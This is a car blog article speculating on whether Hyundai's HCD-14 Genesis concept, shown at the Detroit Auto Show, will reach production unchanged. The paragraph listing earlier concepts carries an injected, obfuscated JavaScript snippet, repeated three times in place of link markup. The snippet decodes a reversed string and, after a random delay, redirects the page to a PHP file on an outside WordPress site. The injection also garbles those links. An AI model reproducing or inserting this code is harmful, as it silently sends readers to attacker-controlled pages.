Hyundai has unveiled its latest concept at the Detroit Auto Show, the hybrid 5.0-litre V8 HCD-14 Genesis. But what if they actually put it into production?
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What you’re looking at here is the Hyundai HCD-14 Genesis, which debuted at the Detroit Auto Show and also represents the company’s ‘future design directions for its premium vehicles’.
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You’ll forgive us for being a tad sceptical. The automotive community has after all been burned too many times to take these words as sacrosanct. Executives assured us for instance that the FT-HS ($VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/toyota-86-dont-believe-the-hype-its-that-good-dubai/” target=”_blank”>Toyota 86), the GINA ($VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/lifestyle/postcard-from-paris-those-weve-met/” target=”_blank”>BMW i8) and the Qazana ($VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/nissan-juke-r-a-sleeping-monster/” target=”_blank”>Nissan Juke-R, eventually) would make production with only limited changes to the design. Turns out they were telling a few porkies.
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It’s tempting then to assume that the HCD-14 Genesis – which, who knows, could form the basis of the new Centennial – will look less Knight Rider and more Oldsmobile Vista Cruiser from That 70s Show when it finally hits the conveyor belt.
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But let’s suppose for a second that Hyundai really means it. Suppose the company really do bring this Tron-inspired creation – all sharp angles, glaring headlights and suicide doors – to the public roads, aesthetically untouched. Fresh from Korea all of a sudden comes a game changer.
